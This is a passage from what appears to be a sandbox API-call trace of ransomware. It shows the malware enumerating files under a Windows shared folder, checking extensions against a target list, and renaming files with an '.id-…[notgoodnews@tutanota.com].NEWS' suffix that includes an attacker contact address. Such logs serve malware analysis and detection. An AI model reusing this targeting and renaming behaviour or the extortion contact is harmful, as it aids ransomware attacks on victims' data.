[0193.837] Sleep (dwMilliseconds=0x64) [0194.913] Sleep (dwMilliseconds=0x64) [0195.380] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0195.380] lstrlenW (lpString="boxed-correct.avi") returned 17 [0195.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x24c [0198.722] GetFileSizeEx (in: hFile=0x24c, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=89600) returned 1 [0198.722] CloseHandle (hObject=0x24c) returned 1 [0198.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0198.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0198.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0199.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0199.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0199.431] lstrlenW (lpString=".doc") returned 4 [0199.431] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0199.431] lstrlenW (lpString=".docx") returned 5 [0199.432] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0199.432] lstrlenW (lpString=".pdf") returned 4 [0199.432] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0199.432] lstrlenW (lpString=".xls") returned 4 [0199.432] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0199.432] lstrlenW (lpString=".xlsx") returned 5 [0199.432] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0199.432] lstrlenW (lpString=".ppt") returned 4 [0199.432] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0199.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0199.432] lstrlenW (lpString=".zip") returned 4 [0199.432] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0199.433] lstrlenW (lpString=".rar") returned 4 [0199.433] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0199.433] lstrlenW (lpString=".bz2") returned 4 [0199.433] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0199.433] lstrlenW (lpString=".7z") returned 3 [0199.433] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0199.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0199.433] lstrlenW (lpString=".dbf") returned 4 [0199.433] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0199.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0199.433] lstrlenW (lpString=".1cd") returned 4 [0199.433] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0199.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0199.433] lstrlenW (lpString=".jpg") returned 4 [0199.434] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0199.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0199.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0199.434] lstrlenW (lpString=".doc") returned 4 [0199.434] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0199.434] lstrlenW (lpString=".docx") returned 5 [0199.434] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0199.434] lstrlenW (lpString=".pdf") returned 4 [0199.434] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0199.434] lstrlenW (lpString=".xls") returned 4 [0199.434] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0199.435] lstrlenW (lpString=".xlsx") returned 5 [0199.435] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0199.435] lstrlenW (lpString=".ppt") returned 4 [0199.435] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0199.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0199.435] lstrlenW (lpString=".zip") returned 4 [0199.435] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0199.435] lstrlenW (lpString=".rar") returned 4 [0199.435] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0199.435] lstrlenW (lpString=".bz2") returned 4 [0199.435] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0199.435] lstrlenW (lpString=".7z") returned 3 [0199.435] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0199.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0199.435] lstrlenW (lpString=".dbf") returned 4 [0199.436] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0199.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0199.436] lstrlenW (lpString=".1cd") returned 4 [0199.436] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0199.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0199.436] lstrlenW (lpString=".jpg") returned 4 [0199.436] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0199.437] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0199.437] lstrlenW (lpString="join.avi") returned 8 [0199.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0199.437] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=222208) returned 1 [0199.437] CloseHandle (hObject=0x28c) returned 1 [0199.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0199.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0199.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0199.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0199.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0199.438] lstrlenW (lpString=".doc") returned 4 [0199.438] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0199.438] lstrlenW (lpString=".docx") returned 5 [0199.439] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0199.439] lstrlenW (lpString=".pdf") returned 4 [0199.439] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0199.439] lstrlenW (lpString=".xls") returned 4 [0199.439] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0199.439] lstrlenW (lpString=".xlsx") returned 5 [0199.439] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0199.439] lstrlenW (lpString=".ppt") returned 4 [0199.439] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0199.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0199.439] lstrlenW (lpString=".zip") returned 4 [0199.439] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0199.439] lstrlenW (lpString=".rar") returned 4 [0199.440] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0199.440] lstrlenW (lpString=".bz2") returned 4 [0199.440] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0199.440] lstrlenW (lpString=".7z") returned 3 [0199.440] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0199.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0199.440] lstrlenW (lpString=".dbf") returned 4 [0199.440] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0199.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0199.440] lstrlenW (lpString=".1cd") returned 4 [0199.440] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0199.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0199.440] lstrlenW (lpString=".jpg") returned 4 [0199.440] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0199.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0199.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0199.441] lstrlenW (lpString=".doc") returned 4 [0199.441] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0199.441] lstrlenW (lpString=".docx") returned 5 [0199.441] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0199.441] lstrlenW (lpString=".pdf") returned 4 [0199.441] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0199.441] lstrlenW (lpString=".xls") returned 4 [0199.441] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0199.441] lstrlenW (lpString=".xlsx") returned 5 [0199.441] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0199.441] lstrlenW (lpString=".ppt") returned 4 [0199.442] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0199.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0199.442] lstrlenW (lpString=".zip") returned 4 [0199.442] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0199.442] lstrlenW (lpString=".rar") returned 4 [0199.442] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0199.442] lstrlenW (lpString=".bz2") returned 4 [0199.442] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0199.442] lstrlenW (lpString=".7z") returned 3 [0199.442] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0199.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0199.443] lstrlenW (lpString=".dbf") returned 4 [0199.443] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0199.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0199.443] lstrlenW (lpString=".1cd") returned 4 [0199.443] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0199.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0199.443] lstrlenW (lpString=".jpg") returned 4 [0199.443] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0199.443] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0199.443] lstrlenW (lpString="split.avi") returned 9 [0199.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0199.444] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=194048) returned 1 [0199.444] CloseHandle (hObject=0x28c) returned 1 [0199.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0199.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0199.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0199.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0199.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0199.445] lstrlenW (lpString=".doc") returned 4 [0199.445] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0199.445] lstrlenW (lpString=".docx") returned 5 [0199.445] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0199.445] lstrlenW (lpString=".pdf") returned 4 [0199.445] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0199.445] lstrlenW (lpString=".xls") returned 4 [0199.445] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0199.445] lstrlenW (lpString=".xlsx") returned 5 [0199.446] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0199.446] lstrlenW (lpString=".ppt") returned 4 [0199.446] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0199.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0199.446] lstrlenW (lpString=".zip") returned 4 [0199.446] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0199.446] lstrlenW (lpString=".rar") returned 4 [0199.446] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0199.446] lstrlenW (lpString=".bz2") returned 4 [0199.446] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0199.446] lstrlenW (lpString=".7z") returned 3 [0199.447] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0199.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0199.447] lstrlenW (lpString=".dbf") returned 4 [0199.447] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0199.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0199.447] lstrlenW (lpString=".1cd") returned 4 [0199.447] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0199.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0199.447] lstrlenW (lpString=".jpg") returned 4 [0199.447] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0199.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0199.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0199.448] lstrlenW (lpString=".doc") returned 4 [0199.448] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0199.448] lstrlenW (lpString=".docx") returned 5 [0199.448] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0199.448] lstrlenW (lpString=".pdf") returned 4 [0199.448] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0199.448] lstrlenW (lpString=".xls") returned 4 [0199.448] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0199.448] lstrlenW (lpString=".xlsx") returned 5 [0199.448] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0199.448] lstrlenW (lpString=".ppt") returned 4 [0199.449] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0199.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0199.449] lstrlenW (lpString=".zip") returned 4 [0199.449] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0199.449] lstrlenW (lpString=".rar") returned 4 [0199.449] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0199.450] lstrlenW (lpString=".bz2") returned 4 [0199.450] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0199.450] lstrlenW (lpString=".7z") returned 3 [0199.450] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0199.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0199.450] lstrlenW (lpString=".dbf") returned 4 [0199.450] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0199.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0199.450] lstrlenW (lpString=".1cd") returned 4 [0199.450] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0199.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0199.451] lstrlenW (lpString=".jpg") returned 4 [0199.451] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0199.451] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0199.451] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0199.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0199.452] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=1600388) returned 1 [0199.452] CloseHandle (hObject=0x28c) returned 1 [0199.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0199.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0199.453] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0199.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0199.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0199.453] lstrlenW (lpString=".doc") returned 4 [0199.453] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0199.453] lstrlenW (lpString=".docx") returned 5 [0199.453] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0199.453] lstrlenW (lpString=".pdf") returned 4 [0199.453] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0199.453] lstrlenW (lpString=".xls") returned 4 [0199.453] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0199.453] lstrlenW (lpString=".xlsx") returned 5 [0199.454] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0199.454] lstrlenW (lpString=".ppt") returned 4 [0199.454] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0199.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0199.454] lstrlenW (lpString=".zip") returned 4 [0199.454] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0199.454] lstrlenW (lpString=".rar") returned 4 [0199.454] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0199.454] lstrlenW (lpString=".bz2") returned 4 [0199.454] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0199.454] lstrlenW (lpString=".7z") returned 3 [0199.455] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0199.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0199.455] lstrlenW (lpString=".dbf") returned 4 [0199.455] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0199.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0199.455] lstrlenW (lpString=".1cd") returned 4 [0199.455] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0199.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0199.455] lstrlenW (lpString=".jpg") returned 4 [0199.455] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0199.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0199.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0199.456] lstrlenW (lpString=".doc") returned 4 [0199.456] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0199.456] lstrlenW (lpString=".docx") returned 5 [0199.456] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0199.456] lstrlenW (lpString=".pdf") returned 4 [0199.456] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0199.456] lstrlenW (lpString=".xls") returned 4 [0199.456] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0199.456] lstrlenW (lpString=".xlsx") returned 5 [0199.456] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0199.457] lstrlenW (lpString=".ppt") returned 4 [0199.457] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0199.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0199.457] lstrlenW (lpString=".zip") returned 4 [0199.457] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0199.457] lstrlenW (lpString=".rar") returned 4 [0199.457] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0199.457] lstrlenW (lpString=".bz2") returned 4 [0199.457] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0199.457] lstrlenW (lpString=".7z") returned 3 [0199.457] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0199.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0199.458] lstrlenW (lpString=".dbf") returned 4 [0199.458] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0199.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0199.458] lstrlenW (lpString=".1cd") returned 4 [0199.458] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0199.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0199.458] lstrlenW (lpString=".jpg") returned 4 [0199.458] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0199.459] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0199.459] lstrlenW (lpString="auxbase.xml") returned 11 [0199.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0199.874] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=1434) returned 1 [0199.874] CloseHandle (hObject=0x290) returned 1 [0199.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0199.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0199.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0199.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0199.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0199.875] lstrlenW (lpString=".doc") returned 4 [0199.875] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.875] lstrlenW (lpString=".docx") returned 5 [0199.876] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0199.876] lstrlenW (lpString=".pdf") returned 4 [0199.876] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.876] lstrlenW (lpString=".xls") returned 4 [0199.876] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.876] lstrlenW (lpString=".xlsx") returned 5 [0199.876] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0199.877] lstrlenW (lpString=".ppt") returned 4 [0199.877] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0199.877] lstrlenW (lpString=".zip") returned 4 [0199.877] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.877] lstrlenW (lpString=".rar") returned 4 [0199.877] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.878] lstrlenW 